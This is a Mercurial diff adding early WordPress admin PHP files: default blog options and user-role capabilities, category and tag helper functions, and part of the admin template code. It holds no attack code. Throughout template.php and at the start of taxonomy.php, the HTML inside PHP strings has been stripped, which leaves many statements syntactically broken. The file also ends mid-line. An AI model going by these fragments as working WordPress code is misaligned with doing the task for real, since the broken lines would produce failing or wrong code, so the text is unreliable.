+ } else { + $uploads_use_yearmonth_folders = 1; + } + + $options = array( + 'siteurl' => $guessurl, + 'blogname' => __('My Blog'), + 'blogdescription' => __('Just another WordPress weblog'), + 'users_can_register' => 0, + 'admin_email' => 'you@example.com', + 'start_of_week' => 1, + 'use_balanceTags' => 0, + 'use_smilies' => 1, + 'require_name_email' => 1, + 'comments_notify' => 1, + 'posts_per_rss' => 10, + 'rss_use_excerpt' => 0, + 'mailserver_url' => 'mail.example.com', + 'mailserver_login' => 'login@example.com', + 'mailserver_pass' => 'password', + 'mailserver_port' => 110, + 'default_category' => 1, + 'default_comment_status' => 'open', + 'default_ping_status' => 'open', + 'default_pingback_flag' => 1, + 'default_post_edit_rows' => 10, + 'posts_per_page' => 10, + /* translators: default date format, see http://php.net/date */ + 'date_format' => __('F j, Y'), + /* translators: default time format, see http://php.net/date */ + 'time_format' => __('g:i a'), + /* translators: links last updated date format, see http://php.net/date */ + 'links_updated_date_format' => __('F j, Y g:i a'), + 'links_recently_updated_prepend' => '', + 'links_recently_updated_append' => '', + 'links_recently_updated_time' => 120, + 'comment_moderation' => 0, + 'moderation_notify' => 1, + 'permalink_structure' => '', + 'gzipcompression' => 0, + 'hack_file' => 0, + 'blog_charset' => 'UTF-8', + 'moderation_keys' => '', + 'active_plugins' => array(), + 'home' => $guessurl, + 'category_base' => '', + 'ping_sites' => 'http://rpc.pingomatic.com/', + 'advanced_edit' => 0, + 'comment_max_links' => 2, + 'gmt_offset' => date('Z') / 3600, + + // 1.5 + 'default_email_category' => 1, + 'recently_edited' => '', + 'use_linksupdate' => 0, + 'template' => 'default', + 'stylesheet' => 'default', + 'comment_whitelist' => 1, + 'blacklist_keys' => '', + 'comment_registration' => 0, + 'rss_language' => 'en', + 'html_type' => 'text/html', + + // 1.5.1 + 'use_trackback' => 0, + + // 2.0 + 'default_role' => 'subscriber', + 'db_version' => $wp_db_version, + + // 2.0.1 + 'uploads_use_yearmonth_folders' => $uploads_use_yearmonth_folders, + 'upload_path' => '', + + // 2.0.3 + 'secret' => wp_generate_password(64), + + // 2.1 + 'blog_public' => '1', + 'default_link_category' => 2, + 'show_on_front' => 'posts', + + // 2.2 + 'tag_base' => '', + + // 2.5 + 'show_avatars' => '1', + 'avatar_rating' => 'G', + 'upload_url_path' => '', + 'thumbnail_size_w' => 150, + 'thumbnail_size_h' => 150, + 'thumbnail_crop' => 1, + 'medium_size_w' => 300, + 'medium_size_h' => 300, + + // 2.6 + 'avatar_default' => 'mystery', + 'enable_app' => 0, + 'enable_xmlrpc' => 0, + + // 2.7 + 'large_size_w' => 1024, + 'large_size_h' => 1024, + 'image_default_link_type' => 'file', + 'image_default_size' => '', + 'image_default_align' => '', + 'close_comments_for_old_posts' => 0, + 'close_comments_days_old' => 14, + 'thread_comments' => 0, + 'thread_comments_depth' => 5, + 'page_comments' => 1, + 'comments_per_page' => 50, + 'default_comments_page' => 'newest', + 'comment_order' => 'asc', + 'sticky_posts' => array(), + 'widget_categories' => array(), + 'widget_text' => array(), + 'widget_rss' => array(), + + // 2.8 + 'timezone_string' => '', + + // 2.9 + 'embed_autourls' => 1, + 'embed_size_w' => '', + 'embed_size_h' => 600, + ); + + // Set autoload to no for these options + $fat_options = array( 'moderation_keys', 'recently_edited', 'blacklist_keys' ); + + $existing_options = $wpdb->get_col("SELECT option_name FROM $wpdb->options"); + + $insert = ''; + foreach ( $options as $option => $value ) { + if ( in_array($option, $existing_options) ) + continue; + if ( in_array($option, $fat_options) ) + $autoload = 'no'; + else + $autoload = 'yes'; + + $option = $wpdb->escape($option); + if ( is_array($value) ) + $value = serialize($value); + $value = $wpdb->escape($value); + if ( !empty($insert) ) + $insert .= ', '; + $insert .= "('$option', '$value', '$autoload')"; + } + + if ( !empty($insert) ) + $wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES " . $insert); + + // in case it is set, but blank, update "home" + if ( !__get_option('home') ) update_option('home', $guessurl); + + // Delete unused options + $unusedoptions = array ('blodotgsping_url', 'bodyterminator', 'emailtestonly', 'phoneemail_separator', 'smilies_directory', 'subjectprefix', 'use_bbcode', 'use_blodotgsping', 'use_phoneemail', 'use_quicktags', 'use_weblogsping', 'weblogs_cache_file', 'use_preview', 'use_htmltrans', 'smilies_directory', 'fileupload_allowedusers', 'use_phoneemail', 'default_post_status', 'default_post_category', 'archive_mode', 'time_difference', 'links_minadminlevel', 'links_use_adminlevels', 'links_rating_type', 'links_rating_char', 'links_rating_ignore_zero', 'links_rating_single_image', 'links_rating_image0', 'links_rating_image1', 'links_rating_image2', 'links_rating_image3', 'links_rating_image4', 'links_rating_image5', 'links_rating_image6', 'links_rating_image7', 'links_rating_image8', 'links_rating_image9', 'weblogs_cacheminutes', 'comment_allowed_tags', 'search_engine_friendly_urls', 'default_geourl_lat', 'default_geourl_lon', 'use_default_geourl', 'weblogs_xml_url', 'new_users_can_blog', '_wpnonce', '_wp_http_referer', 'Update', 'action', 'rich_editing', 'autosave_interval', 'deactivated_plugins', 'can_compress_scripts', + 'page_uris', 'update_core', 'update_plugins', 'update_themes', 'doing_cron', 'random_seed', 'rss_excerpt_length'); + foreach ($unusedoptions as $option) + delete_option($option); + + // delete obsolete magpie stuff + $wpdb->query("DELETE FROM $wpdb->options WHERE option_name REGEXP '^rss_[0-9a-f]{32}(_ts)?$'"); +} + +/** + * Execute WordPress role creation for the various WordPress versions. + * + * @since 2.0.0 + */ +function populate_roles() { + populate_roles_160(); + populate_roles_210(); + populate_roles_230(); + populate_roles_250(); + populate_roles_260(); + populate_roles_270(); + populate_roles_280(); +} + +/** + * Create the roles for WordPress 2.0 + * + * @since 2.0.0 + */ +function populate_roles_160() { + // Add roles + + // Dummy gettext calls to get strings in the catalog. + /* translators: user role */ + _x('Administrator', 'User role'); + /* translators: user role */ + _x('Editor', 'User role'); + /* translators: user role */ + _x('Author', 'User role'); + /* translators: user role */ + _x('Contributor', 'User role'); + /* translators: user role */ + _x('Subscriber', 'User role'); + + add_role('administrator', 'Administrator'); + add_role('editor', 'Editor'); + add_role('author', 'Author'); + add_role('contributor', 'Contributor'); + add_role('subscriber', 'Subscriber'); + + // Add caps for Administrator role + $role =& get_role('administrator'); + $role->add_cap('switch_themes'); + $role->add_cap('edit_themes'); + $role->add_cap('activate_plugins'); + $role->add_cap('edit_plugins'); + $role->add_cap('edit_users'); + $role->add_cap('edit_files'); + $role->add_cap('manage_options'); + $role->add_cap('moderate_comments'); + $role->add_cap('manage_categories'); + $role->add_cap('manage_links'); + $role->add_cap('upload_files'); + $role->add_cap('import'); + $role->add_cap('unfiltered_html'); + $role->add_cap('edit_posts'); + $role->add_cap('edit_others_posts'); + $role->add_cap('edit_published_posts'); + $role->add_cap('publish_posts'); + $role->add_cap('edit_pages'); + $role->add_cap('read'); + $role->add_cap('level_10'); + $role->add_cap('level_9'); + $role->add_cap('level_8'); + $role->add_cap('level_7'); + $role->add_cap('level_6'); + $role->add_cap('level_5'); + $role->add_cap('level_4'); + $role->add_cap('level_3'); + $role->add_cap('level_2'); + $role->add_cap('level_1'); + $role->add_cap('level_0'); + + // Add caps for Editor role + $role =& get_role('editor'); + $role->add_cap('moderate_comments'); + $role->add_cap('manage_categories'); + $role->add_cap('manage_links'); + $role->add_cap('upload_files'); + $role->add_cap('unfiltered_html'); + $role->add_cap('edit_posts'); + $role->add_cap('edit_others_posts'); + $role->add_cap('edit_published_posts'); + $role->add_cap('publish_posts'); + $role->add_cap('edit_pages'); + $role->add_cap('read'); + $role->add_cap('level_7'); + $role->add_cap('level_6'); + $role->add_cap('level_5'); + $role->add_cap('level_4'); + $role->add_cap('level_3'); + $role->add_cap('level_2'); + $role->add_cap('level_1'); + $role->add_cap('level_0'); + + // Add caps for Author role + $role =& get_role('author'); + $role->add_cap('upload_files'); + $role->add_cap('edit_posts'); + $role->add_cap('edit_published_posts'); + $role->add_cap('publish_posts'); + $role->add_cap('read'); + $role->add_cap('level_2'); + $role->add_cap('level_1'); + $role->add_cap('level_0'); + + // Add caps for Contributor role + $role =& get_role('contributor'); + $role->add_cap('edit_posts'); + $role->add_cap('read'); + $role->add_cap('level_1'); + $role->add_cap('level_0'); + + // Add caps for Subscriber role + $role =& get_role('subscriber'); + $role->add_cap('read'); + $role->add_cap('level_0'); +} + +/** + * Create and modify WordPress roles for WordPress 2.1. + * + * @since 2.1.0 + */ +function populate_roles_210() { + $roles = array('administrator', 'editor'); + foreach ($roles as $role) { + $role =& get_role($role); + if ( empty($role) ) + continue; + + $role->add_cap('edit_others_pages'); + $role->add_cap('edit_published_pages'); + $role->add_cap('publish_pages'); + $role->add_cap('delete_pages'); + $role->add_cap('delete_others_pages'); + $role->add_cap('delete_published_pages'); + $role->add_cap('delete_posts'); + $role->add_cap('delete_others_posts'); + $role->add_cap('delete_published_posts'); + $role->add_cap('delete_private_posts'); + $role->add_cap('edit_private_posts'); + $role->add_cap('read_private_posts'); + $role->add_cap('delete_private_pages'); + $role->add_cap('edit_private_pages'); + $role->add_cap('read_private_pages'); + } + + $role =& get_role('administrator'); + if ( ! empty($role) ) { + $role->add_cap('delete_users'); + $role->add_cap('create_users'); + } + + $role =& get_role('author'); + if ( ! empty($role) ) { + $role->add_cap('delete_posts'); + $role->add_cap('delete_published_posts'); + } + + $role =& get_role('contributor'); + if ( ! empty($role) ) { + $role->add_cap('delete_posts'); + } +} + +/** + * Create and modify WordPress roles for WordPress 2.3. + * + * @since 2.3.0 + */ +function populate_roles_230() { + $role =& get_role( 'administrator' ); + + if ( !empty( $role ) ) { + $role->add_cap( 'unfiltered_upload' ); + } +} + +/** + * Create and modify WordPress roles for WordPress 2.5. + * + * @since 2.5.0 + */ +function populate_roles_250() { + $role =& get_role( 'administrator' ); + + if ( !empty( $role ) ) { + $role->add_cap( 'edit_dashboard' ); + } +} + +/** + * Create and modify WordPress roles for WordPress 2.6. + * + * @since 2.6.0 + */ +function populate_roles_260() { + $role =& get_role( 'administrator' ); + + if ( !empty( $role ) ) { + $role->add_cap( 'update_plugins' ); + $role->add_cap( 'delete_plugins' ); + } +} + +/** + * Create and modify WordPress roles for WordPress 2.7. + * + * @since 2.7.0 + */ +function populate_roles_270() { + $role =& get_role( 'administrator' ); + + if ( !empty( $role ) ) { + $role->add_cap( 'install_plugins' ); + $role->add_cap( 'update_themes' ); + } +} + +/** + * Create and modify WordPress roles for WordPress 2.8. + * + * @since 2.8.0 + */ +function populate_roles_280() { + $role =& get_role( 'administrator' ); + + if ( !empty( $role ) ) { + $role->add_cap( 'install_themes' ); + } +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/taxonomy.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/taxonomy.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,268 @@ + $cat_name, 'category_parent' => $parent) ); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $categories + * @param unknown_type $post_id + * @return unknown + */ +function wp_create_categories($categories, $post_id = '') { + $cat_ids = array (); + foreach ($categories as $category) { + if ($id = category_exists($category)) + $cat_ids[] = $id; + else + if ($id = wp_create_category($category)) + $cat_ids[] = $id; + } + + if ($post_id) + wp_set_post_categories($post_id, $cat_ids); + + return $cat_ids; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $cat_ID + * @return unknown + */ +function wp_delete_category($cat_ID) { + $cat_ID = (int) $cat_ID; + $default = get_option('default_category'); + + // Don't delete the default cat + if ( $cat_ID == $default ) + return 0; + + return wp_delete_term($cat_ID, 'category', array('default' => $default)); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $catarr + * @param unknown_type $wp_error + * @return unknown + */ +function wp_insert_category($catarr, $wp_error = false) { + $cat_defaults = array('cat_ID' => 0, 'cat_name' => '', 'category_description' => '', 'category_nicename' => '', 'category_parent' => ''); + $catarr = wp_parse_args($catarr, $cat_defaults); + extract($catarr, EXTR_SKIP); + + if ( trim( $cat_name ) == '' ) { + if ( ! $wp_error ) + return 0; + else + return new WP_Error( 'cat_name', __('You did not enter a category name.') ); + } + + $cat_ID = (int) $cat_ID; + + // Are we updating or creating? + if ( !empty ($cat_ID) ) + $update = true; + else + $update = false; + + $name = $cat_name; + $description = $category_description; + $slug = $category_nicename; + $parent = $category_parent; + + $parent = (int) $parent; + if ( $parent < 0 ) + $parent = 0; + + if ( empty($parent) || !category_exists( $parent ) || ($cat_ID && cat_is_ancestor_of($cat_ID, $parent) ) ) + $parent = 0; + + $args = compact('name', 'slug', 'parent', 'description'); + + if ( $update ) + $cat_ID = wp_update_term($cat_ID, 'category', $args); + else + $cat_ID = wp_insert_term($cat_name, 'category', $args); + + if ( is_wp_error($cat_ID) ) { + if ( $wp_error ) + return $cat_ID; + else + return 0; + } + + return $cat_ID['term_id']; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $catarr + * @return unknown + */ +function wp_update_category($catarr) { + $cat_ID = (int) $catarr['cat_ID']; + + if ( isset($catarr['category_parent']) && ($cat_ID == $catarr['category_parent']) ) + return false; + + // First, get all of the original fields + $category = get_category($cat_ID, ARRAY_A); + + // Escape data pulled from DB. + $category = add_magic_quotes($category); + + // Merge old and new fields with new fields overwriting old ones. + $catarr = array_merge($category, $catarr); + + return wp_insert_category($catarr); +} + +// +// Tags +// + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $post_id + * @return unknown + */ +function get_tags_to_edit( $post_id, $taxonomy = 'post_tag' ) { + return get_terms_to_edit( $post_id, $taxonomy); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $post_id + * @return unknown + */ +function get_terms_to_edit( $post_id, $taxonomy = 'post_tag' ) { + $post_id = (int) $post_id; + if ( !$post_id ) + return false; + + $tags = wp_get_post_terms($post_id, $taxonomy, array()); + + if ( !$tags ) + return false; + + if ( is_wp_error($tags) ) + return $tags; + + foreach ( $tags as $tag ) + $tag_names[] = $tag->name; + $tags_to_edit = join( ',', $tag_names ); + $tags_to_edit = esc_attr( $tags_to_edit ); + $tags_to_edit = apply_filters( 'terms_to_edit', $tags_to_edit, $taxonomy ); + + return $tags_to_edit; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $tag_name + * @return unknown + */ +function tag_exists($tag_name) { + return is_term($tag_name, 'post_tag'); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $tag_name + * @return unknown + */ +function wp_create_tag($tag_name) { + return wp_create_term( $tag_name, 'post_tag'); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $tag_name + * @return unknown + */ +function wp_create_term($tag_name, $taxonomy = 'post_tag') { + if ( $id = is_term($tag_name, $taxonomy) ) + return $id; + + return wp_insert_term($tag_name, $taxonomy); +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/template.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/template.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,3824 @@ + 0); + if ( !empty($_GET['s']) ) + $args['search'] = $_GET['s']; + + $categories = get_categories( $args ); + + if ( empty($categories) ) + return false; + } + + $children = _get_term_hierarchy('category'); + + _cat_rows( $parent, $level, $categories, $children, $page, $per_page, $count ); + +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $categories + * @param unknown_type $count + * @param unknown_type $parent + * @param unknown_type $level + * @param unknown_type $page + * @param unknown_type $per_page + * @return unknown + */ +function _cat_rows( $parent = 0, $level = 0, $categories, &$children, $page = 1, $per_page = 20, &$count ) { + + $start = ($page - 1) * $per_page; + $end = $start + $per_page; + ob_start(); + + foreach ( $categories as $key => $category ) { + if ( $count >= $end ) + break; + + if ( $category->parent != $parent && empty($_GET['s']) ) + continue; + + // If the page starts in a subtree, print the parents. + if ( $count == $start && $category->parent > 0 ) { + + $my_parents = array(); + $p = $category->parent; + while ( $p ) { + $my_parent = get_category( $p ); + $my_parents[] = $my_parent; + if ( $my_parent->parent == 0 ) + break; + $p = $my_parent->parent; + } + + $num_parents = count($my_parents); + while( $my_parent = array_pop($my_parents) ) { + echo "\t" . _cat_row( $my_parent, $level - $num_parents ); + $num_parents--; + } + } + + if ( $count >= $start ) + echo "\t" . _cat_row( $category, $level ); + + unset( $categories[ $key ] ); + + $count++; + + if ( isset($children[$category->term_id]) ) + _cat_rows( $category->term_id, $level + 1, $categories, $children, $page, $per_page, $count ); + } + + $output = ob_get_contents(); + ob_end_clean(); + + echo $output; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $category + * @param unknown_type $level + * @param unknown_type $name_override + * @return unknown + */ +function _cat_row( $category, $level, $name_override = false ) { + static $row_class = ''; + + $category = get_category( $category, OBJECT, 'display' ); + + $default_cat_id = (int) get_option( 'default_category' ); + $pad = str_repeat( '— ', max(0, $level) ); + $name = ( $name_override ? $name_override : $pad . ' ' . $category->name ); + $edit_link = "categories.php?action=edit&cat_ID=$category->term_id"; + if ( current_user_can( 'manage_categories' ) ) { + $edit = "name)) . "'>" . esc_attr( $name ) . '
    '; + $actions = array(); + $actions['edit'] = '' . __('Edit') . ''; + $actions['inline hide-if-no-js'] = '' . __('Quick Edit') . ''; + if ( $default_cat_id != $category->term_id ) + $actions['delete'] = "term_id) . "'>" . __('Delete') . ""; + $actions = apply_filters('cat_row_actions', $actions, $category); + $action_count = count($actions); + $i = 0; + $edit .= '
    '; + foreach ( $actions as $action => $link ) { + ++$i; + ( $i == $action_count ) ? $sep = '' : $sep = ' | '; + $edit .= "$link$sep"; + } + $edit .= '
    '; + } else { + $edit = $name; + } + + $row_class = 'alternate' == $row_class ? '' : 'alternate'; + $qe_data = get_category_to_edit($category->term_id); + + $category->count = number_format_i18n( $category->count ); + $posts_count = ( $category->count > 0 ) ? "$category->count" : $category->count; + $output = ""; + + $columns = get_column_headers('categories'); + $hidden = get_hidden_columns('categories'); + foreach ( $columns as $column_name => $column_display_name ) { + $class = "class=\"$column_name column-$column_name\""; + + $style = ''; + if ( in_array($column_name, $hidden) ) + $style = ' style="display:none;"'; + + $attributes = "$class$style"; + + switch ($column_name) { + case 'cb': + $output .= ""; + if ( $default_cat_id != $category->term_id ) { + $output .= ""; + } else { + $output .= " "; + } + $output .= ''; + break; + case 'name': + $output .= "$edit"; + $output .= ''; + break; + case 'description': + $output .= "$category->description"; + break; + case 'slug': + $output .= "" . apply_filters('editable_slug', $category->slug) . ""; + break; + case 'posts': + $attributes = 'class="posts column-posts num"' . $style; + $output .= "$posts_count\n"; + break; + default: + $output .= ""; + $output .= apply_filters('manage_categories_custom_column', '', $column_name, $category->term_id); + $output .= ""; + } + } + $output .= ''; + + return $output; +} + +/** + * {@internal Missing Short Description}} + * + * @since 2.7 + * + * Outputs the HTML for the hidden table rows used in Categories, Link Caregories and Tags quick edit. + * + * @param string $type "tag", "category" or "link-category" + * @return + */ +function inline_edit_term_row($type) { + + if ( ! current_user_can( 'manage_categories' ) ) + return; + + $is_tag = $type == 'edit-tags'; + $columns = get_column_headers($type); + $hidden = array_intersect( array_keys( $columns ), array_filter( get_hidden_columns($type) ) ); + $col_count = count($columns) - count($hidden); + ?> + +
    + +
    +name ); + $edit_link = "link-category.php?action=edit&cat_ID=$category->term_id"; + if ( current_user_can( 'manage_categories' ) ) { + $edit = "name)) . "'>$name
    "; + $actions = array(); + $actions['edit'] = '' . __('Edit') . ''; + $actions['inline hide-if-no-js'] = '' . __('Quick Edit') . ''; + if ( $default_cat_id != $category->term_id ) + $actions['delete'] = "term_id) . "'>" . __('Delete') . ""; + $actions = apply_filters('link_cat_row_actions', $actions, $category); + $action_count = count($actions); + $i = 0; + $edit .= '
    '; + foreach ( $actions as $action => $link ) { + ++$i; + ( $i == $action_count ) ? $sep = '' : $sep = ' | '; + $edit .= "$link$sep"; + } + $edit .= '
    '; + } else { + $edit = $name; + } + + $row_class = 'alternate' == $row_class ? '' : 'alternate'; + $qe_data = get_term_to_edit($category->term_id, 'link_category'); + + $category->count = number_format_i18n( $category->count ); + $count = ( $category->count > 0 ) ? "$category->count" : $category->count; + $output = ""; + $columns = get_column_headers('edit-link-categories'); + $hidden = get_hidden_columns('edit-link-categories'); + foreach ( $columns as $column_name => $column_display_name ) { + $class = "class=\"$column_name column-$column_name\""; + + $style = ''; + if ( in_array($column_name, $hidden) ) + $style = ' style="display:none;"'; + + $attributes = "$class$style"; + + switch ($column_name) { + case 'cb': + $output .= ""; + if ( absint( get_option( 'default_link_category' ) ) != $category->term_id ) { + $output .= ""; + } else { + $output .= " "; + } + $output .= ""; + break; + case 'name': + $output .= "$edit"; + $output .= ''; + break; + case 'description': + $output .= "$category->description"; + break; + case 'slug': + $output .= "" . apply_filters('editable_slug', $category->slug) . ""; + break; + case 'links': + $attributes = 'class="links column-links num"' . $style; + $output .= "$count"; + break; + default: + $output .= ""; + $output .= apply_filters('manage_link_categories_custom_column', '', $column_name, $category->term_id); + $output .= ""; + } + } + $output .= ''; + + return $output; +} + +/** + * Outputs the html checked attribute. + * + * Compares the first two arguments and if identical marks as checked + * + * @since 1.0 + * + * @param any $checked One of the values to compare + * @param any $current (true) The other value to compare if not just true + * @param bool $echo Whether or not to echo or just return the string + */ +function checked( $checked, $current = true, $echo = true) { + return __checked_selected_helper( $checked, $current, $echo, 'checked' ); +} + +/** + * Outputs the html selected attribute. + * + * Compares the first two arguments and if identical marks as selected + * + * @since 1.0 + * + * @param any selected One of the values to compare + * @param any $current (true) The other value to compare if not just true + * @param bool $echo Whether or not to echo or just return the string + */ +function selected( $selected, $current = true, $echo = true) { + return __checked_selected_helper( $selected, $current, $echo, 'selected' ); +} + +/** + * Private helper function for checked and selected. + * + * Compares the first two arguments and if identical marks as $type + * + * @since 2.8 + * @access private + * + * @param any $helper One of the values to compare + * @param any $current (true) The other value to compare if not just true + * @param bool $echo Whether or not to echo or just return the string + * @param string $type The type of checked|selected we are doing. + */ +function __checked_selected_helper( $helper, $current, $echo, $type) { + if ( (string) $helper === (string) $current) + $result = " $type='$type'"; + else + $result = ''; + + if ($echo) + echo $result; + + return $result; +} + +// +// Category Checklists +// + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * @deprecated Use {@link wp_link_category_checklist()} + * @see wp_link_category_checklist() + * + * @param unknown_type $default + * @param unknown_type $parent + * @param unknown_type $popular_ids + */ +function dropdown_categories( $default = 0, $parent = 0, $popular_ids = array() ) { + global $post_ID; + wp_category_checklist($post_ID); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + */ +class Walker_Category_Checklist extends Walker { + var $tree_type = 'category'; + var $db_fields = array ('parent' => 'parent', 'id' => 'term_id'); //TODO: decouple this + + function start_lvl(&$output, $depth, $args) { + $indent = str_repeat("\t", $depth); + $output .= "$indent
      \n"; + } + + function end_lvl(&$output, $depth, $args) { + $indent = str_repeat("\t", $depth); + $output .= "$indent
    \n"; + } + + function start_el(&$output, $category, $depth, $args) { + extract($args); + + $class = in_array( $category->term_id, $popular_cats ) ? ' class="popular-category"' : ''; + $output .= "\n
  • " . ''; + } + + function end_el(&$output, $category, $depth, $args) { + $output .= "
  • \n"; + } +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $post_id + * @param unknown_type $descendants_and_self + * @param unknown_type $selected_cats + * @param unknown_type $popular_cats + */ +function wp_category_checklist( $post_id = 0, $descendants_and_self = 0, $selected_cats = false, $popular_cats = false, $walker = null, $checked_ontop = true ) { + if ( empty($walker) || !is_a($walker, 'Walker') ) + $walker = new Walker_Category_Checklist; + + $descendants_and_self = (int) $descendants_and_self; + + $args = array(); + + if ( is_array( $selected_cats ) ) + $args['selected_cats'] = $selected_cats; + elseif ( $post_id ) + $args['selected_cats'] = wp_get_post_categories($post_id); + else + $args['selected_cats'] = array(); + + if ( is_array( $popular_cats ) ) + $args['popular_cats'] = $popular_cats; + else + $args['popular_cats'] = get_terms( 'category', array( 'fields' => 'ids', 'orderby' => 'count', 'order' => 'DESC', 'number' => 10, 'hierarchical' => false ) ); + + if ( $descendants_and_self ) { + $categories = get_categories( "child_of=$descendants_and_self&hierarchical=0&hide_empty=0" ); + $self = get_category( $descendants_and_self ); + array_unshift( $categories, $self ); + } else { + $categories = get_categories('get=all'); + } + + if ( $checked_ontop ) { + // Post process $categories rather than adding an exclude to the get_terms() query to keep the query the same across all posts (for any query cache) + $checked_categories = array(); + $keys = array_keys( $categories ); + + foreach( $keys as $k ) { + if ( in_array( $categories[$k]->term_id, $args['selected_cats'] ) ) { + $checked_categories[] = $categories[$k]; + unset( $categories[$k] ); + } + } + + // Put checked cats on top + echo call_user_func_array(array(&$walker, 'walk'), array($checked_categories, 0, $args)); + } + // Then the rest of them + echo call_user_func_array(array(&$walker, 'walk'), array($categories, 0, $args)); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $taxonomy + * @param unknown_type $default + * @param unknown_type $number + * @param unknown_type $echo + * @return unknown + */ +function wp_popular_terms_checklist( $taxonomy, $default = 0, $number = 10, $echo = true ) { + global $post_ID; + + if ( $post_ID ) + $checked_categories = wp_get_post_categories($post_ID); + else + $checked_categories = array(); + + $categories = get_terms( $taxonomy, array( 'orderby' => 'count', 'order' => 'DESC', 'number' => $number, 'hierarchical' => false ) ); + + $popular_ids = array(); + foreach ( (array) $categories as $category ) { + $popular_ids[] = $category->term_id; + if ( !$echo ) // hack for AJAX use + continue; + $id = "popular-category-$category->term_id"; + $checked = in_array( $category->term_id, $checked_categories ) ? 'checked="checked"' : ''; + ?> + + + + term_id; + $name = esc_html( apply_filters('the_category', $category->name)); + $checked = in_array( $cat_id, $checked_categories ); + echo '"; + } +} + +// Tag stuff + +// Returns a single tag row (see tag_rows below) +// Note: this is also used in admin-ajax.php! +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $tag + * @param unknown_type $class + * @return unknown + */ +function _tag_row( $tag, $class = '', $taxonomy = 'post_tag' ) { + $count = number_format_i18n( $tag->count ); + $tagsel = ($taxonomy == 'post_tag' ? 'tag' : $taxonomy); + $count = ( $count > 0 ) ? "$count" : $count; + + $name = apply_filters( 'term_name', $tag->name ); + $qe_data = get_term($tag->term_id, $taxonomy, object, 'edit'); + $edit_link = "edit-tags.php?action=edit&taxonomy=$taxonomy&tag_ID=$tag->term_id"; + $out = ''; + $out .= ''; + $columns = get_column_headers('edit-tags'); + $hidden = get_hidden_columns('edit-tags'); + foreach ( $columns as $column_name => $column_display_name ) { + $class = "class=\"$column_name column-$column_name\""; + + $style = ''; + if ( in_array($column_name, $hidden) ) + $style = ' style="display:none;"'; + + $attributes = "$class$style"; + + switch ($column_name) { + case 'cb': + $out .= ' '; + break; + case 'name': + $out .= '' . $name . '
    '; + $actions = array(); + $actions['edit'] = '' . __('Edit') . ''; + $actions['inline hide-if-no-js'] = '' . __('Quick Edit') . ''; + $actions['delete'] = "term_id) . "'>" . __('Delete') . ""; + $actions = apply_filters('tag_row_actions', $actions, $tag); + $action_count = count($actions); + $i = 0; + $out .= '
    '; + foreach ( $actions as $action => $link ) { + ++$i; + ( $i == $action_count ) ? $sep = '' : $sep = ' | '; + $out .= "$link$sep"; + } + $out .= '
    '; + $out .= ''; + break; + case 'description': + $out .= "$tag->description"; + break; + case 'slug': + $out .= "" . apply_filters('editable_slug', $tag->slug) . ""; + break; + case 'posts': + $attributes = 'class="posts column-posts num"' . $style; + $out .= "$count"; + break; + default: + $out .= ""; + $out .= apply_filters("manage_${taxonomy}_custom_column", '', $column_name, $tag->term_id); + $out .= ""; + } + } + + $out .= ''; + + return $out; +} + +// Outputs appropriate rows for the Nth page of the Tag Management screen, +// assuming M tags displayed at a time on the page +// Returns the number of tags displayed +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $page + * @param unknown_type $pagesize + * @param unknown_type $searchterms + * @return unknown + */ +function tag_rows( $page = 1, $pagesize = 20, $searchterms = '', $taxonomy = 'post_tag' ) { + + // Get a page worth of tags + $start = ($page - 1) * $pagesize; + + $args = array('offset' => $start, 'number' => $pagesize, 'hide_empty' => 0); + + if ( !empty( $searchterms ) ) { + $args['search'] = $searchterms; + } + + $tags = get_terms( $taxonomy, $args ); + + // convert it to table rows + $out = ''; + $count = 0; + foreach( $tags as $tag ) + $out .= _tag_row( $tag, ++$count % 2 ? ' class="alternate"' : '', $taxonomy ); + + // filter and send to screen + echo $out; + return $count; +} + +// define the columns to display, the syntax is 'internal name' => 'display name' +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @return unknown + */ +function wp_manage_posts_columns() { + $posts_columns = array(); + $posts_columns['cb'] = ''; + /* translators: manage posts column name */ + $posts_columns['title'] = _x('Post', 'column name'); + $posts_columns['author'] = __('Author'); + $posts_columns['categories'] = __('Categories'); + $posts_columns['tags'] = __('Tags'); + $post_status = !empty($_REQUEST['post_status']) ? $_REQUEST['post_status'] : 'all'; + if ( !in_array( $post_status, array('pending', 'draft', 'future') ) ) + $posts_columns['comments'] = '
    Comments
